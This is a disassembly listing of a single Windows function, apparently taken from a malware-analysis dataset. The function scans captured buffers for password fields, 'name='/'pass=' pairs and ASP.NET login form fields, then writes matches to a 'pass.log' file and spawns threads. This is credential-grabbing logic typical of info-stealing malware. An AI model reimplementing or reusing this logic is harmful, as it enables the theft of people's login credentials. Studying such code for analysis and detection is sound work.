Function at 0x10018a60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + 1]
test eax, eax
je 0x10018d76
push esi
lea esi, [eax + 0x13]
push edi
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10018d74
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x10018d52
test ebx, ebx
je 0x10018d52
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10018d52
push ebx
push esi
push edi
call sub.MSVCRT.dll_memcpy
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push 0x10049d40
push edi
call esi
add esp, 0x14
test eax, eax
je 0x10018b92
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x10018b92
xor eax, eax
nop
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10018b00
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005ca80
call esi
push 0x1005ca80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005ca80
call esi
mov eax, 0x1005ca80
call fcn.100031c0
lea esi, [ebp - 0x104]
call fcn.10007700
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018b50
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049c80]
mov dword [eax], ecx
mov cl, byte [0x10049c84]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.10007140
push 0
push 0
push 0
push 0x10020f40
jmp 0x10018d1f
push str.name_
push edi
call esi
add esp, 8
test eax, eax
je 0x10018c6a
push str.pass_
push edi
call esi
add esp, 8
test eax, eax
je 0x10018c6a
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10018bc0
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005ce90
call esi
push 0x1005ce90
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005ce90
call esi
mov eax, 0x1005ce90
call fcn.100031c0
lea esi, [ebp - 0x104]
call fcn.10007700
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018c10
mov edx, dword [str.pass.log]
mov ecx, dword [0x10049c80]
mov dword [eax], edx
mov dl, byte [0x10049c84]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x104]
call fcn.10007140
push 0
push 0
push 0
push 0x100221e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10018d52
lea ecx, [ebp + 8]
push ecx
jmp 0x10018d33
push str.ctl00_24MainMenu_24Login1_24UserName
push edi
call esi
add esp, 8
test eax, eax
je 0x10018d52
push str.ctl00_24MainMenu_24Login1_24Password
push edi
call esi
add esp, 8
test eax, eax
je 0x10018d52
xor eax, eax
mov cl, byte [eax + 0x10059d68]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10018c92
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1005d098
call esi
push 0x1005d098
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x1005d098
call esi
mov eax, 0x1005d098
call fcn.100031c0
lea esi, [ebp - 0x104]
call fcn.10007700
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10018ce2
mov ecx, dword [str.pass.log]
mov edx, dword [0x10049c80]
mov dword [eax], ecx
mov cl, byte [0x10049c84]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.10007140
push 0
push 0
push 0
push 0x10023910
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10018d52
lea eax, [ebp + 8]
push eax
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10018d52
test byte [ebp + 8], 2
jne 0x10018d52
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10018d74
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8